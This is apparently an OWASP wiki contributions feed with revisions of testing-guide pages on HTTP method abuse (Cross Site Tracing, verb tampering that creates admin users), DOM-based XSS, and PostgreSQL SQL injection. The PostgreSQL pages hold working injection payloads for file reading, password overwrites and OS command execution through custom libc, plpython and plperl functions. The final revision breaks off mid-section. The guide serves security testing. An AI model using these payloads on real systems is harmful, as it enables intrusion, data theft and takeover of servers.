OWASP - User contributions [en]

Test HTTP Methods (OTG-CONFIG-006)

2010-08-04T19:45:50Z

Matt Heckathorn:

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
HTTP offers a number of methods that can be used to perform actions on the web server. Many of theses methods are designed to aid developers in deploying and testing HTTP applications. These HTTP methods can be used for nefarious purposes if the web server is misconfigured. Additionally, Cross Site Tracing (XST), a form of cross site scripting using the server's HTTP TRACE method, is examined.<br>

== Short Description of the Issue ==
While GET and POST are by far the most common methods that are used to access information provided by a web server, the Hypertext Transfer Protocol (HTTP) allows several other (and somewhat less known) methods. RFC 2616 (which describes HTTP version 1.1 which is the today standard) defines the following eight methods:

* HEAD
* GET
* POST
* PUT
* DELETE
* TRACE
* OPTIONS
* CONNECT

Some of these methods can potentially pose a security risk for a web application, as they allow an attacker to modify the files stored on the web server and, in some scenarios, steal the credentials of legitimate users. More specifically, the methods that should be disabled are the following:

* PUT: This method allows a client to upload new files on the web server. An attacker can exploit it by uploading malicious files (e.g.: an asp file that executes commands by invoking cmd.exe), or by simply using the victim's server as a file repository
* DELETE: This method allows a client to delete a file on the web server. An attacker can exploit it as a very simple and direct way to deface a web site or to mount a DoS attack
* CONNECT: This method could allow a client to use the web server as a proxy
* TRACE: This method simply echoes back to the client whatever string has been sent to the server, and is used mainly for debugging purposes. This method, originally assumed harmless, can be used to mount an attack known as Cross Site Tracing, which has been discovered by Jeremiah Grossman (see links at the bottom of the page)

If an application needs one or more of these methods, such as REST Web Services (which may require PUT or DELETE), it is important to check that their usage is properly limited to trusted users and safe conditions.

== Arbitrary HTTP Methods ==

Arshan Dabirsiaghi (see links) discovered that many web application frameworks allowed well chosen and/or arbitrary HTTP methods to bypass an environment level access control check:

* Many frameworks and languages treat "HEAD" as a "GET" request, albeit one without any body in the response. If a security constraint was set on "GET" requests such that only "authenticatedUsers" could access GET requests for a particular servlet or resource, it would be bypassed for the "HEAD" version. This allowed unauthorized blind submission of any privileged GET request

* Some frameworks allowed arbitrary HTTP methods such as "JEFF" or "CATS" to be used without limitation. These were treated as if a "GET" method was issued, and again were found not to be subject to method role based access control checks on a number of languages and frameworks, again allowing unauthorized blind submission of privileged GET requests.

In many cases, code which explicitly checked for a "GET" or "POST" method would be safe.

== Black Box testing and example ==
'''Discover the Supported Methods''' <br>
To perform this test, we need some way to figure out which HTTP methods are supported by the web server we are examining. The OPTIONS HTTP method provides us with the most direct and effective way to do that. RFC 2616 states that, "The OPTIONS method represents a request for information about the communication options available on the request/response chain identified by the Request-URI".

The testing method is extremely straightforward and we only need to fire up netcat (or telnet):
<pre>
icesurfer@nightblade ~ $ nc www.victim.com 80
OPTIONS / HTTP/1.1
Host: www.victim.com

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 31 Oct 2006 08:00:29 GMT
Connection: close
Allow: GET, HEAD, POST, TRACE, OPTIONS
Content-Length: 0

icesurfer@nightblade ~ $
</pre>
As we can see in the example, OPTIONS provides a list of the methods that are supported by the web server, and in this case we can see, for instance, that TRACE method is enabled. The danger that is posed by this method is illustrated in the following section<br><br>
'''Test XST Potential'''<br>
Note: in order to understand the logic and the goals of this attack you need to be familiar with [[XSS |Cross Site Scripting attacks]].

The TRACE method, while apparently harmless, can be successfully leveraged in some scenarios to steal legitimate users' credentials. This attack technique was discovered by Jeremiah Grossman in 2003, in an attempt to bypass the [[HTTPOnly]] tag that Microsoft introduced in Internet Explorer 6 sp1 to protect cookies from being accessed by JavaScript. As a matter of fact, one of the most recurring attack patterns in Cross Site Scripting is to access the document.cookie object and send it to a web server controlled by the attacker so that he/she can hijack the victim's session. Tagging a cookie as httpOnly forbids JavaScript to access it, protecting it from being sent to a third party. However, the TRACE method can be used to bypass this protection and access the cookie even in this scenario.

As mentioned before, TRACE simply returns any string that is sent to the web server. In order to verify its presence (or to double-check the results of the OPTIONS request shown above), we can proceed as shown in the following example:
<pre>
icesurfer@nightblade ~ $ nc www.victim.com 80
TRACE / HTTP/1.1
Host: www.victim.com

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 31 Oct 2006 08:01:48 GMT
Connection: close
Content-Type: message/http
Content-Length: 39

TRACE / HTTP/1.1
Host: www.victim.com
</pre>
As we can see, the response body is exactly a copy of our original request, meaning that our target allows this method. Now, where is the danger lurking? If we instruct a browser to issue a TRACE request to the web server, and this browser has a cookie for that domain, the cookie will be automatically included in the request headers, and will therefore be echoed back in the resulting response. At that point, the cookie string will be accessible by JavaScript and it will be finally possible to send it to a third party even when the cookie is tagged as httpOnly.

There are multiple ways to make a browser issue a TRACE request, such as the XMLHTTP ActiveX control in Internet Explorer and XMLDOM in Mozilla and Netscape. However, for security reasons the browser is allowed to start a connection only to the domain where the hostile script resides. This is a mitigating factor, as the attacker needs to combine the TRACE method with another vulnerability in order to mount the attack. Basically, an attacker has two ways to successfully launch a Cross Site Tracing attack:

# Leveraging another server-side vulnerability: the attacker injects the hostile JavaScript snippet that contains the TRACE request in the vulnerable application, as in a normal Cross Site Scripting attack
# Leveraging a client-side vulnerability: the attacker creates a malicious website that contains the hostile JavaScript snippet and exploits some cross-domain vulnerability of the browser of the victim, in order to make the JavaScript code successfully perform a connection to the site that supports the TRACE method and that originated the cookie that the attacker is trying to steal.

More detailed information, together with code samples, can be found in the original whitepaper written by Jeremiah Grossman.<br>

== Black Box Testing of HTTP method tampering ==

Testing for HTTP method tampering is essentially the same as testing for XST.

=== Testing for arbitrary HTTP methods ===

Find a page you'd like to visit that has a security constraint such that it would normally force a 302 redirect to a login page or forces a login directly. The test URL in this example works like this - as do many web applications. However, if you obtain a "200" response that is not a login page, it is possible to bypass authentication and thus authorization.

<pre>
[rapidoffenseunit:~] vanderaj% nc www.example.com 80
JEFF / HTTP/1.1
Host: www.example.com

HTTP/1.1 200 OK
Date: Mon, 18 Aug 2008 22:38:40 GMT
Server: Apache
Set-Cookie: PHPSESSID=K53QW...
</pre>

If your framework or firewall or application does not support the "JEFF" method, it should issue an error page (or preferably a 405 Not Allowed or 501 Not implemented error page). If it services the request, it is vulnerable to this issue.

If you feel that the system is vulnerable to this issue, issue CSRF-like attacks to exploit the issue more fully:

* FOOBAR /admin/createUser.php?member=myAdmin
* JEFF /admin/changePw.php?member=myAdmin&passwd=foo123&confirm=foo123
* CATS /admin/groupEdit.php?group=Admins&member=myAdmin&action=add

With some luck, using the above three commands - modified to suit the application under test and testing requirements - a new user would be created, a password assigned, and made an admin.

=== Testing for HEAD access control bypass ===

Find a page you'd like to visit that has a security constraint such that it would normally force a 302 redirect to a login page or forces a login directly. The test URL in this example works like this - as do many web applications. However, if you obtain a "200" response that is not a login page, it is possible to bypass authentication and thus authorization.

<pre>
[rapidoffenseunit:~] vanderaj% nc www.example.com 80
HEAD /admin HTTP/1.1
Host: www.example.com

HTTP/1.1 200 OK
Date: Mon, 18 Aug 2008 22:44:11 GMT
Server: Apache
Set-Cookie: PHPSESSID=pKi...; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: adminOnlyCookie1=...; expires=Tue, 18-Aug-2009 22:44:31 GMT; domain=www.example.com
Set-Cookie: adminOnlyCookie2=...; expires=Mon, 18-Aug-2008 22:54:31 GMT; domain=www.example.com
Set-Cookie: adminOnlyCookie3=...; expires=Sun, 19-Aug-2007 22:44:30 GMT; domain=www.example.com
Content-Language: EN
Connection: close
Content-Type: text/html; charset=ISO-8859-1
</pre>

If you get a "405 Method not allowed" or "501 Method Unimplemented", the application/framework/language/system/firewall is working correctly. If a "200" response code comes back, and the response contains no body, it's likely that the application has processed the request without authentication or authorization and further testing is warranted.

If you feel that the system is vulnerable to this issue, issue CSRF-like attacks to exploit the issue more fully:

* HEAD /admin/createUser.php?member=myAdmin
* HEAD /admin/changePw.php?member=myAdmin&passwd=foo123&confirm=foo123
* HEAD /admin/groupEdit.php?group=Admins&member=myAdmin&action=add

With some luck, using the above three commands - modified to suit the application under test and testing requirements - a new user would be created, a password assigned, and made an admin, all using blind request submission.

== Gray Box testing and example ==
The testing in a Gray Box scenario follows the same steps of a Black Box scenario.

== References ==
'''Whitepapers'''<br>
* RFC 2616: âHypertext Transfer Protocol -- HTTP/1.1â
* RFC 2109 and RFC 2965: âHTTP State Management Mechanismâ
* Jeremiah Grossman: "Cross Site Tracing (XST)" - http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf<br>
* Amit Klein: "XS(T) attack variants which can, in some cases, eliminate the need for TRACE" - http://www.securityfocus.com/archive/107/308433
* Arshan Dabirsiaghi: "Bypassing VBAAC with HTTP Verb Tampering" - http://www.aspectsecurity.com/documents/Bypassing_VBAAC_with_HTTP_Verb_Tampering.pdf

[[Category:FIXME|link doesn't work

'''Tools'''
* NetCat - http://www.vulnwatch.org/netcat
<br>

]]

Talk:Testing for DOM-based Cross site scripting (OTG-CLIENT-001)

2010-07-29T20:12:40Z

Matt Heckathorn: responded to the question

I've now tried this PoC code local and remotely without any receiving any alert box:
<pre>
<script>
document.write("Site is at: " + document.location.href + ".");
</script>
</pre>
I've tested this in both FF3, IE7 and IE5. Can anyone explain why this simple PoC won't work?

*I realize this a is a very old question, but I wanted to point out that the script there will not produce an alert box. That script is only writing to the page with the document.write function. The alert box comes into play by appending the #<script>alert('xss')</script> to the vulnerable pages URL (as the article mentions).

Testing for DOM-based Cross site scripting (OTG-CLIENT-001)

2010-07-29T19:37:59Z

Matt Heckathorn:

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
[[DOM Based XSS |DOM-based Cross-Site Scripting]] is the de-facto name for [[XSS |XSS]] bugs which are the result of active content on a page, typically JavaScript, obtaining user input and then doing something unsafe with it to lead to execution of injected code. This document will only discuss JavaScript bugs which lead to XSS.

The DOM, or Document Object Model, is the structural format that may be used to represent documents in the browser. The DOM enables dynamic scripts such as JavaScript to reference components of the document such as a form field or a session cookie. The DOM is also used by the browser for security - for example to limit scripts on different domains obtaining session cookies for other domains. A DOM-based cross site scripting vulnerability may occur when active content, such as a JavaScript function, is modified by a specially crafted request such that a DOM element that can be controlled by an attacker.

There have been very few papers published on this topic and, as such, very little standardization of its meaning and formalized testing exists.
<br>

== Description of the Issue ==
Not all XSS bugs require the attacker to control the content returned from the server, but can instead abuse poor JavaScript coding practices to achieve the same results. The consequences are the same as a typical XSS flaw, only the means of delivery is different.

In comparison to other cross site scripting vulnerabilities (reflected and stored XSS), where an unsanitized parameter is passed by the server, returned to the user and executed in the context of the user's browser, a DOM based cross site scripting vulnerability controls the flow of the code by using elements of the Document Object Model (DOM) along with code crafted by the attacker to change the flow.

Due to their nature, DOM based XSS vulnerabilities can be executed in many instances without the server being able to determine what is actually being executed. This may result in many of the general XSS filtering and detection rules impotent against such attacks.

The first hypothetical example uses the following client side code:

<script>
document.write("Site is at: " + document.location.href + ".");
</script>

An attacker may append #<script>alert('xss')</script> to the affected page URL which would, when executed display the alert box. In this instance, the appended code would not be sent to the server as everything after the # character is not treated as part of the query by the browser but as a fragment. In this example the code is immediately executed and an alert of "xss" is displayed in the page. Unlike the more common types of cross site scripting (persistent and non-persistent) in which the code is sent to the server and redisplayed to the user, this is executed directly in the user's browser without server contact.

The [[XSS#XSS_Attack_Consequences |consequences]] of DOM based cross site scripting flaws are as wide ranging as those seen in more well known forms of XSS, including cookie retrieval, further malicious script injection, etc. and should therefore be treated with the same severity as such.

== Black Box testing and example ==
Blackbox testing for DOM-Based XSS is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.<br>

== Gray Box testing and example ==
'''Testing for DOM Based XSS vulnerabilities:'''<br>
JavaScript applications differ significantly from other types of applications because they are often dynamically generated by the server, and to understand what code is being executed, the website being tested needs to be crawled to determine all the instances of JavaScript being executed and where user input is accepted. Many websites rely on large libraries of functions, which often stretch into the hundreds of thousands of lines of code and have not been developed in-house. In these cases, top-down testing often becomes the only really viable option, since many bottom level functions are never used, and analyzing them to determine which are sinks will use up more time than is often available. The same can also be said for top-down testing if the inputs or lack thereof is not identified to begin with.

User input comes in two main forms:

* Input written to the page by the server in a way that does not allow direct XSS
* Input obtained from client-side JavaScript objects

Here are two examples of how the server may insert data into JavaScript:

var data = "<escaped data from the server>";
var result = someFunction("<escaped data from the server>");

And here are two examples of input from client-side JavaScript objects:

var data = window.location;
var result = someFunction(window.referer);

While there is little difference to the JavaScript code in how they are retrieved, it is important to note that when input is received via the server, the server can apply any permutations to the data that it desires, whereas the permutations performed by JavaScript objects are fairly well understood and documented, and so if someFunction in the above example were a sink, then the exploitability of the former would depend on the filtering done by the server, whereas the latter would depend on the encoding done by the browser on the window.referer object.

Additionally, JavaScript is very often executed outside of <script> blocks, as evidenced by the many vectors which have led to XSS filter bypasses in the past, and so, when crawling the application, it is important to note the use of scripts in places such as event handlers and CSS blocks with expression attributes. Also, note that any off-site CSS or script objects will need to be assessed to determine what code is being executed.

Automated testing has only very limited success at identifying and validating DOM based XSS as it usually identifies XSS by sending a specific payload and attempts to observe it in the server response. This may work fine for the simple example provided below, where the message parameter is reflected back to the user:
<pre>
<script>
var pos=document.URL.indexOf("message=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</script>
</pre>

but may not be detected in the following contrived case:
<pre>
<script>
var navAgt = navigator.userAgent;

if (navAgt.indexOf("MSIE")!=-1) {
document.write("You are using IE as a browser and visiting site: " + document.location.href + ".");
}
else
{
document.write("You are using an unknown browser.");
}
</script>
</pre>
For this reason, automated testing will not detect areas that may be susceptible to DOM based XSS unless the testing tool can perform addition analysis of the client side code.

Manual testing should therefore be undertaken and can be done by examining areas in the code where parameters are referred to that may be useful to an attacker.
Examples of such areas include places where code is dynamically written to the page and elsewhere where the DOM is modified or even where scripts are directly executed. Further examples
are described in the excellent DOM XSS article by Amit Klein, referenced at the end of this section.

== References ==
'''Whitepapers'''<br>
* Document Object Model (DOM) - http://en.wikipedia.org/wiki/Document_Object_Model
* DOM Based Cross Site Scripting or XSS of the Third Kind - Amit Klein http://www.webappsec.org/projects/articles/071105.shtml

OWASP Backend Security Project Testing PostgreSQL

2010-07-21T14:31:40Z

Matt Heckathorn: The query to retrieve the output from the stdout table in the section titled Dynamic Library was incorrect.

= Overview =

In this section, some SQL Injection techniques for PostgreSQL will be discussed.
Keep in mind the following characteristics:

* PHP Connector allows multiple statements to be executed by using ''';''' as a statement separator
* SQL Statements can be truncated by appending the comment char: '''--'''.
* ''LIMIT'' and ''OFFSET'' can be used in a ''SELECT'' statement to retrieve a portion of the result set generated by the ''query''

From here after, we assume that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is vulnerable to SQL Injection attacks.

= Description =

== Identifying PostgreSQL ==

When a SQL Injection has been found, you need to carefully
fingerprint the backend database engine. You can determine that the backend database engine
is PostgreSQL by using the ''::'' cast operator.

'''Examples:'''
<nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki>

In addition, the function ''version()'' can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.

'''Example''':

<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki>

An example of a banner string that could be returned is:
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

== Blind Injection ==

For blind SQL injection attacks, you should take into consideration the following built-in functions:

* String Length
*: ''LENGTH(str)''
* Extract a substring from a given string
*: ''SUBSTR(str,index,offset)''
* String representation with no single quotes
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''

Starting at version 8.2, PostgreSQL introduced a built-in function, ''pg_sleep(n)'', to make the current
session process sleep for ''n'' seconds. This function can be leveraged to execute timing attacks (discussed in detail at [[Blind SQL Injection]]).
In addition, you can easily create a custom ''pg_sleep(n)'' in previous versions by using libc:
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT

== Single Quote unescape ==

Strings can be encoded, to prevent single quotes escaping, by using chr() function.

* chr(n): Returns the character whose ASCII value corresponds to the number n
* ascii(n): Returns the ASCII value which corresponds to the character n

Let's say you want to encode the string 'root':
select ascii('r')
114
select ascii('o')
111
select ascii('t')
116

We can encode 'root' as:
chr(114)||chr(111)||chr(111)||chr(116)

'''Example:'''
<nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki>

== Attack Vectors ==

=== Current User ===

The identity of the current user can be retrieved with the following SQL SELECT statements:

SELECT user
SELECT current_user
SELECT session_user
SELECT usename FROM pg_user
SELECT getpgusername()

'''Examples:'''
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--</nowiki>
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki>

=== Current Database ===

The built-in function current_database() returns the current database name.

'''Example''':

<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki>

=== Reading from a file ===

PostgreSQL provides two ways to access a local file:
* COPY statement
* pg_read_file() internal function (starting from PostgreSQL 8.1)

'''COPY:'''

This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the ''postgres'' user.

'''Example:'''

<nowiki>
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--
</nowiki>

Data should be retrieved by performing a ''UNION Query SQL Injection'':
* retrieves the number of rows previously added in ''file_store'' with ''COPY'' statement
* retrieves a row at a time with UNION SQL Injection

'''Example:'''
<nowiki>
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--
...
...
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--
</nowiki>

'''pg_read_file():'''

This function was introduced in ''PostgreSQL 8.1'' and allows one to read arbitrary files located inside
DBMS data directory.

'''Examples:'''

* <nowiki>SELECT pg_read_file('server.key',0,1000); </nowiki>

=== Writing to a file ===

By reverting the COPY statement, we can write to the local file system with the ''postgres'' user rights

<nowiki>
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--
</nowiki>

=== Shell Injection ===

PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting
languages such as python, perl, and tcl.

==== Dynamic Library ====

Until PostgreSQL 8.1, it was possible to add a custom function linked with ''libc'':
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?

Here's a little trick:

* create a ''stdout'' table
*: ''CREATE TABLE stdout(id serial, system_out text)''
* executing a shell command redirecting its ''stdout''
*: ''SELECT system('uname -a > /tmp/test')''
* use a ''COPY'' statements to push output of previous command in ''stdout'' table
*: ''COPY stdout(system_out) FROM '/tmp/test'''
* retrieve output from ''stdout''
*: ''SELECT system_out FROM stdout''

''' Example:'''

<nowiki>
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT system_out FROM stdout ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--

</nowiki>

==== plpython ====

PL/Python allows users to code PostgreSQL functions in python. It's untrusted so there is no way to restrict
what user can do. It's not installed by default and can be enabled on a given database by ''CREATELANG''

* Check if PL/Python has been enabled on a database:
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpythonu'
* If not, try to enable:
*: ''CREATE LANGUAGE plpythonu''
* If either of the above succeeded, create a proxy shell function:
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''
* Have fun with:
*: SELECT proxyshell(''os command'');

'''Example:'''

*Create a proxy shell function:
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os;
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- </nowiki>''

*Run an OS Command:
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''

==== plperl ====

Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with the underlying operating system, such as ''open''. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the ''postgres'' user, to avoid the so-called application mask filtering of trusted/untrusted operations.

* Check if PL/perl-untrusted has been enabled:
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'
* If not, assuming that sysadm has already installed the plperl package, try :
*: ''CREATE LANGUAGE plperlu''
* If either of the above succeeded, create a proxy shell function:
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu''
* Have fun with:
*: SELECT proxyshell(''os command'');

'''Example:'''

*Create a proxy shell function:
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;</nowiki>

*Run an OS Command:
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''

= References =

* OWASP : "[[Testing for SQL Injection (OWASP-DV-005) |Testing for SQL Injection]]"

* OWASP : [[SQL Injection Prevention Cheat Sheet]]

* Michael Daw : "SQL Injection Cheat Sheet" - http://michaeldaw.org/sql-injection-cheat-sheet/

* PostgreSQL : "Official Documentation" - http://www.postgresql.org/docs/

* Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net

OWASP Backend Security Project Testing PostgreSQL

2010-07-21T13:45:21Z

Matt Heckathorn: typo

= Overview =

In this section, some SQL Injection techniques for PostgreSQL will be discussed.
Keep in mind the following characteristics:

* PHP Connector allows multiple statements to be executed by using ''';''' as a statement separator
* SQL Statements can be truncated by appending the comment char: '''--'''.
* ''LIMIT'' and ''OFFSET'' can be used in a ''SELECT'' statement to retrieve a portion of the result set generated by the ''query''

From here after, we assume that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is vulnerable to SQL Injection attacks.

= Description =

== Identifying PostgreSQL ==

When a SQL Injection has been found, you need to carefully
fingerprint the backend database engine. You can determine that the backend database engine
is PostgreSQL by using the ''::'' cast operator.

'''Examples:'''
<nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki>

In addition, the function ''version()'' can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.

'''Example''':

<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki>

An example of a banner string that could be returned is:
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

== Blind Injection ==

For blind SQL injection attacks, you should take into consideration the following built-in functions:

* String Length
*: ''LENGTH(str)''
* Extract a substring from a given string
*: ''SUBSTR(str,index,offset)''
* String representation with no single quotes
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''

Starting at version 8.2, PostgreSQL introduced a built-in function, ''pg_sleep(n)'', to make the current
session process sleep for ''n'' seconds. This function can be leveraged to execute timing attacks (discussed in detail at [[Blind SQL Injection]]).
In addition, you can easily create a custom ''pg_sleep(n)'' in previous versions by using libc:
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT

== Single Quote unescape ==

Strings can be encoded, to prevent single quotes escaping, by using chr() function.

* chr(n): Returns the character whose ASCII value corresponds to the number n
* ascii(n): Returns the ASCII value which corresponds to the character n

Let's say you want to encode the string 'root':
select ascii('r')
114
select ascii('o')
111
select ascii('t')
116

We can encode 'root' as:
chr(114)||chr(111)||chr(111)||chr(116)

'''Example:'''
<nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki>

== Attack Vectors ==

=== Current User ===

The identity of the current user can be retrieved with the following SQL SELECT statements:

SELECT user
SELECT current_user
SELECT session_user
SELECT usename FROM pg_user
SELECT getpgusername()

'''Examples:'''
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--</nowiki>
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki>

=== Current Database ===

The built-in function current_database() returns the current database name.

'''Example''':

<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki>

=== Reading from a file ===

PostgreSQL provides two ways to access a local file:
* COPY statement
* pg_read_file() internal function (starting from PostgreSQL 8.1)

'''COPY:'''

This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the ''postgres'' user.

'''Example:'''

<nowiki>
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--
</nowiki>

Data should be retrieved by performing a ''UNION Query SQL Injection'':
* retrieves the number of rows previously added in ''file_store'' with ''COPY'' statement
* retrieves a row at a time with UNION SQL Injection

'''Example:'''
<nowiki>
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--
...
...
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--
</nowiki>

'''pg_read_file():'''

This function was introduced in ''PostgreSQL 8.1'' and allows one to read arbitrary files located inside
DBMS data directory.

'''Examples:'''

* <nowiki>SELECT pg_read_file('server.key',0,1000); </nowiki>

=== Writing to a file ===

By reverting the COPY statement, we can write to the local file system with the ''postgres'' user rights

<nowiki>
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--
</nowiki>

=== Shell Injection ===

PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting
languages such as python, perl, and tcl.

==== Dynamic Library ====

Until PostgreSQL 8.1, it was possible to add a custom function linked with ''libc'':
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?

Here's a little trick:

* create a ''stdout'' table
*: ''CREATE TABLE stdout(id serial, system_out text)''
* executing a shell command redirecting its ''stdout''
*: ''SELECT system('uname -a > /tmp/test')''
* use a ''COPY'' statements to push output of previous command in ''stdout'' table
*: ''COPY stdout(system_out) FROM '/tmp/test'''
* retrieve output from ''stdout''
*: ''SELECT system_out FROM stdout''

''' Example:'''

<nowiki>
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--

</nowiki>

==== plpython ====

PL/Python allows users to code PostgreSQL functions in python. It's untrusted so there is no way to restrict
what user can do. It's not installed by default and can be enabled on a given database by ''CREATELANG''

* Check if PL/Python has been enabled on a database:
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpythonu'
* If not, try to enable:
*: ''CREATE LANGUAGE plpythonu''
* If either of the above succeeded, create a proxy shell function:
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''
* Have fun with:
*: SELECT proxyshell(''os command'');

'''Example:'''

*Create a proxy shell function:
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os;
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- </nowiki>''

*Run an OS Command:
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''

==== plperl ====

Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with the underlying operating system, such as ''open''. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the ''postgres'' user, to avoid the so-called application mask filtering of trusted/untrusted operations.

* Check if PL/perl-untrusted has been enabled:
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'
* If not, assuming that sysadm has already installed the plperl package, try :
*: ''CREATE LANGUAGE plperlu''
* If either of the above succeeded, create a proxy shell function:
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu''
* Have fun with:
*: SELECT proxyshell(''os command'');

'''Example:'''

*Create a proxy shell function:
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;</nowiki>

*Run an OS Command:
